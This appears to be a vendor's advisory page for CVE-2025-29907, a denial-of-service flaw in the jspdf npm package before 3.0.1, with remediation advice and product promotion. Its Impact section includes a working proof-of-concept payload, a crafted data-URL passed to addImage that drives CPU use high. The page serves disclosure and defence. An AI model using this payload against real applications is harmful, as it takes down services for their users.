CVE-2025-29907

CVE-2025-29907 is a high-severity uncontrolled resource consumption vulnerability in jspdf (npm), affecting versions < 3.0.1. It is fixed in 3.0.1.

Summary

Workarounds

Sanitize image urls before passing it to the addImage method or one of the other affected methods.

Credits

Researcher: Aleksey Solovev (Positive Technologies)

Impact

User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.

Other affected methods are: html, addSvgAsImage.

Example payload:

import { jsPDF } from "jpsdf" 

const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';

const startTime = performance.now()

try {
 doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
  const endTime = performance.now()
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}

doc.save("a4.pdf");

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

Affected versions

jspdf (< 3.0.1)

Security releases

jspdf → 3.0.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1

Frequently Asked Questions

  1. What is CVE-2025-29907? CVE-2025-29907 is a high-severity uncontrolled resource consumption vulnerability in jspdf (npm), affecting versions < 3.0.1. It is fixed in 3.0.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. Which versions of jspdf are affected by CVE-2025-29907? jspdf (npm) versions < 3.0.1 is affected.
  3. Is there a fix for CVE-2025-29907? Yes. CVE-2025-29907 is fixed in 3.0.1. Upgrade to this version or later.
  4. Is CVE-2025-29907 exploitable, and should I be worried? Whether CVE-2025-29907 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2025-29907 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2025-29907? Upgrade jspdf to 3.0.1 or later.

Other vulnerabilities in jspdf

CVE-2026-31938CVE-2026-25940CVE-2026-25755CVE-2026-25535CVE-2026-24737

Stop the waste.
Protect your environment with Kodem.